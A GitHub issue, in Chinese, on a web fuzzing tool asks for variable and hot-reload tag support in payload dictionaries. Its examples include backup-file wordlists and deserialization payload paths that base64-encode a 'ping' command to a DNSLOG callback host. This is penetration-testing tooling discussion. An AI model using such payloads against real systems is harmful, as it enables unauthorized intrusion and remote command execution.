New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

模糊测试Payload字典支持使用变量、热加载标签 #1420

Open

ViCrack opened this issue Feb 4, 2024 · 0 comments

Labels

dangerous enhancement

ViCrack commented Feb 4, 2024 •

edited

师傅我在构造字典的时候，发现有时候经常会用到变量来生成，这块是否有可能实现成支持引用变量和热加载标签

比如当扫描网站的备份文件时
字典可以写成

{{Host}}.zip
{{Host}}.bak
{{Host}}.rar
sql.zip
sql.bak
...

（Hostname、Host等变量已经内置在WebFuzzer中可用了）

另外还可以自定义一些变量
比如在“设置变量”的窗口

dnslog='xxxxxx.cn'

这样字典payload可以写成

/Deserialization/DNSLOG/command/Base64/{{dnslog)}}
/Deserialization/Spring1/command/Base64/{{base64enc('ping Spring1.'+dnslog)}}
{{urlenc(/Deserialization/Spring2/command/Base64/{{base64enc('ping Spring2.'+dnslog)}})}}

等等各种复杂的场景

The text was updated successfully, but these errors were encountered:

WAY29 added dangerous enhancement labels

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment